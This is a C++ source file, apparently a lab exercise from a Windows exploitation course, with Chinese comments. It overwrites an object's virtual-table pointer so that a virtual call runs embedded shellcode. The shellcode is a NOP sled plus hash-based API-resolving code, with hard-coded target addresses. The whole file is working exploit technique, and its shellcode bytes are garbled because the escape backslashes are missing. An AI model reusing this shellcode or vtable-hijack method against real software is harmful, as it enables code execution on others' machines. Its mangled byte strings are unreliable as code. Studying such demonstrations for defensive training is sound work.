#include "stdafx.h" #include <windows.h> #include <iostream.h> class failwest { public: char buf[200]; virtual void f1(void) { cout<<"Class Vtable test"; } }; failwest overflow,*p; char shellcode[]= "x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90" "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53" "x68x64x61x30x23" "x68x23x50x61x6E" "x8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8"//168 "x90x90x90x90x90x90x90x90" "x74xBAx40x00";//这里是是V函数指针 //0040BA74 int main(int argc, char* argv[]) { char * p_vtable; p_vtable = overflow.buf - 4; //0040BB38 strcpy(overflow.buf,shellcode); p_vtable[3]=0x00;//这里是Vtable 指针 p_vtable[2]=0x40; p_vtable[1]=0xbb; p_vtable[0]=0x38; //Vtable指针指向 V函数 //在汇编中是 call Vtable指针的方式调用的 p = &overflow; p->f1(); return 0; }